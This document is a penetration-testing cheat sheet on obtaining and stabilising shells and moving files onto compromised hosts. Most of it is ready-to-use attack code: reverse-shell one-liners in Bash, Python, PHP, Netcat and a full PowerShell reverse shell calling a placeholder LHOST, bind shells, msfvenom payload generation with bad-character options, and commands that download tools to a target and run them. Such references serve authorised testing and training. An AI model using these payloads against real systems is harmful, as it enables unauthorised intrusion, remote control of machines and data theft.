10.6 Shells and Payloads Cheatsheet

Need: Verified command execution or authenticated remote access and a known network path. A functioning execution primitive and an observable output or controlled side effect

delivery → execution → connection → usable session

Do not change all four layers at once. Preserve the last confirmed state and test the next boundary.

Prefer authenticated administrative access when it is already available: it is normally more stable, auditable and feature-complete than an improvised shell.

Linux:

id; hostname; pwd

Windows:

whoami & hostname & cd

For blind execution, use one bounded callback or file side effect that the current context can produce and you can independently observe. Do not interpret a hung HTTP request as proof of a shell; the server may simply be waiting on a child process or timeout.

Linux:

hostname; id; pwd
ip addr; ip route
ss -lntup

Windows:

hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano

Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.

exact prerequisites
→ exploit reaches expected vulnerable path
→ bounded harmless effect or identity output
→ repeatable command execution
→ payload reaches listener
→ usable session
→ verified host/identity/privilege/network position

Do not accept the exploit's own “success” string as proof. Validate an independent effect. An HTTP 200, uploaded filename, connection or application crash each proves less than a verified command result.

Verify: Save destination identity/hostname and actual command output; use Windows hostname/whoami/ipconfig when appropriate.

If it fails: A hung request or success message does not prove execution. First establish a bounded observable effect, then diagnose the next state.

Need: Verified command execution or authenticated remote access and a known network path. A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.

On Kali:

ip -brief address
ip route
ss -lntp

Windows source/listener checks:

Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Traditional/OpenBSD-style nc commonly used on Kali:

rlwrap nc -lvnp LPORT

Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:

ncat -4 -lvn 0.0.0.0 LPORT

Verify the bind in another terminal:

ss -lntp | grep ':LPORT'

If multiple interfaces exist, bind deliberately:

ncat -4 -lvn LHOST LPORT

Choose an interpreter that you confirmed exists.

Bash TCP:

bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

Python 3 with a PTY:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Portable FIFO plus Netcat when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

PHP CLI:

php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

ncat LHOST LPORT --exec /bin/sh

ncat.exe LHOST LPORT --exec cmd.exe

Shell-language cue: a command injection may execute through /bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax in bash -c '...' and then encode it for the outer HTTP/template/database layer.

Verify: Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.

If it fails: No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.

Need: Verified command execution or authenticated remote access and a known network path. Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Prefer an available authenticated service:

evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive:

$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:

$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context:

powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

If it fails: A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.

Need: Verified command execution or authenticated remote access and a known network path. Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

Traditional Netcat with -e support on a Linux target:

nc -lvnp PORT -e /bin/sh

Connect from Kali:

nc -nv TARGET PORT

FIFO alternative when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

Ncat target listener:

ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

Verify: Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.

If it fails: A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.

Need: Verified command execution or authenticated remote access and a known network path. Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

List rather than guess names and formats:

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Stageless command-shell binaries:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

Verify the resulting artifacts:

file shell.elf shell.exe
sha256sum shell.elf shell.exe

10.6.13.1.11.1 Staged versus stageless

stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer

Metasploit naming commonly reflects the distinction:

windows/x64/shell_reverse_tcp   stageless
windows/x64/shell/reverse_tcp   staged

A raw Netcat listener can receive many ordinary stageless command shells. A staged payload normally needs multi/handler configured with the exact same payload:

msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

10.6.13.1.11.2 Existing-PoC payload constraints

Only when an existing reviewed PoC documents payload space and bad characters:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' \
  -s MAX_SPACE

Encoders and repeated encoding do not guarantee antimalware evasion. -b is for bytes that the vulnerable input path cannot preserve; do not invent a universal bad-character list.

Verify: Check artifact format/hash and actual session identity; generation success is not execution proof.

If it fails: Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.

Need: Verified command execution or authenticated remote access and a known network path. A working channel and available PTY mechanism; correct local-terminal control sequence

First obtain a PTY with an available interpreter:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Press Ctrl-Z locally, then:

stty raw -echo; fg

Back in the remote shell:

reset
export TERM=xterm-256color
stty rows 40 columns 120

If the local terminal becomes unreadable, restore it from a separate/local shell:

stty sane

Socat can provide a stronger PTY when present on both sides:

10.6.13.1.14 Kali

# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr

10.6.13.1.15 Target

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

Verify: Check tty, signal handling and an interactive program; confirm the same identity remains.

If it fails: A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.

Need: Verified command execution or authenticated remote access and a known network path. Correct server bind and served directory; target-to-server route, available downloader and writable destination

On Kali, serve the directory containing linpeas.sh:

cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0

On the Linux target, download into a writable directory and run it:

wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt

python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools

curl -fL http://LHOST:8000/FILE -o /tmp/FILE

Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"

powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"

(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')

curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE

certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE

Compare the source and destination hashes.

On Kali or Linux:

sha256sum FILE
sha256sum /tmp/FILE

On Windows:

Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"

Verify: Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.

If it fails: No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.

Need: Verified command execution or authenticated remote access and a known network path. Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

scp FILE USER@TARGET:/tmp/FILE

scp USER@TARGET:/path/to/FILE ./FILE

scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE

Verify: Verify copied bytes and location; uppercase -P selects scp's SSH port.

If it fails: Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.

Need: Verified command execution or authenticated remote access and a known network path. Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE

copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete

Verify: Verify source/destination hash and the share path; disconnect created mappings after use.

If it fails: No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.

Need: Verified command execution or authenticated remote access and a known network path. Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

nc -lvnp PORT > FILE

nc -nv LHOST PORT < /path/to/FILE

nc -lvnp PORT > /tmp/FILE

nc -nv TARGET PORT < FILE

nc -lvn PORT > FILE

Verify: Compare hashes and avoid mixing diagnostic text into the file stream.

If it fails: A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.

Need: Verified command execution or authenticated remote access and a known network path. Available Base64 encode/decode, adequate command length and a writable destination

base64 -w 0 FILE

printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE

[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))

Verify: Require a complete matching hash; keep encoded secrets in private evidence rather than reusable notes.

If it fails: Truncation, wrapping and quoting often corrupt long values. Use a network transfer for larger files.

Need: Verified command execution or authenticated remote access and a known network path. A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

python3 -m pyftpdlib -p PORT

ftp LHOST PORT
binary
get FILE
put FILE
quit

Verify: Compare bytes and stop the temporary server after its purpose is complete.

If it fails: A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.